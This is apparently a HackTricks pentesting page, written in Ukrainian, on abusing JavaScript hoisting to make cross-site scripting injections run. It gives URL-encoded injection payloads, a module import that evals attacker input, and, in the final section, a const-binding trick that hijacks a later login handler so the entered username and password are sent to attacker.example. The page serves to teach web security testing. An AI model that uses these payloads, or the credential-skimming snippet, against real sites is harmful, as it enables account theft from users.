8.2 KiB
Raw Blame History

JS Hoisting

{{#include ../../banners/hacktricks-training.md}}

Basic Information

У мові JavaScript існує механізм, відомий як Hoisting, коли оголошення змінних, функцій, класів або imports концептуально піднімаються на початок їхньої області видимості перед виконанням коду. Цей процес автоматично виконує JavaScript-движок, який проходить скрипт у кілька проходів.

Під час першого проходу движок парсить код, перевіряє синтаксичні помилки та перетворює його в abstract syntax tree. Ця фаза включає hoisting — процес, коли певні оголошення переміщуються на верх контексту виконання. Якщо фаза парсингу пройшла успішно (без синтаксичних помилок), виконується сам скрипт.

Важливо розуміти, що:

  1. Скрипт повинен бути вільним від синтаксичних помилок, щоб виконання відбулося. Синтаксичні правила мають дотримуватися строго.
  2. Розміщення коду в межах скрипта впливає на виконання через hoisting, хоча виконуваний код може відрізнятись від його текстового представлення.

Types of Hoisting

На основі інформації з MDN, у JavaScript є чотири різні типи hoisting:

  1. Value Hoisting: Дозволяє використовувати значення змінної в її області видимості до рядка її оголошення.
  2. Declaration Hoisting: Дозволяє посилатися на змінну в її області видимості до її оголошення без ReferenceError, проте значення змінної буде undefined.
  3. Цей тип змінює поведінку в межах області видимості через оголошення змінної до фактичного рядка її оголошення.
  4. Побічні ефекти оголошення відбуваються до того, як буде оцінено решту коду, що його містить.

Детальніше: function declarations демонструють поведінку типу 1. Ключове слово var демонструє поведінку типу 2. Лексичні декларації, які включають let, const та class, показують поведінку типу 3. Нарешті, import statements унікальні тим, що вони піднімаються з поведінкою як типу 1, так і типу 4.

Scenarios

Отже, якщо у вас є сценарії, де ви можете Inject JS code after an undeclared object is used, ви можете fix the syntax шляхом його оголошення (щоб ваш код виконався замість того, щоб кидати помилку):

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]

Більше сценаріїв

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()

Запередити пізніші декларації, заблокувавши ім'я за допомогою const

Якщо ви можете виконатися до того, як на верхньому рівні буде розібрано function foo(){...}, оголошення лексичного зв'язування з тим самим ім'ям (наприклад, const foo = ...) завадить пізнішому оголошенню функції переназначити цей ідентифікатор. Це можна зловживати в RXSS, щоб перехопити критичні обробники, визначені пізніше на сторінці:

// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}

// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding

Примітки

  • Це залежить від порядку виконання та глобальної (верхнього рівня) області видимості.
  • Якщо ваш payload виконується всередині eval(), пам’ятайте, що const/let всередині eval мають блочну область видимості і не створять глобальних зв'язувань. Вставте новий <script> елемент з кодом, щоб встановити справжній глобальний const.

Посилання

{{#include ../../banners/hacktricks-training.md}}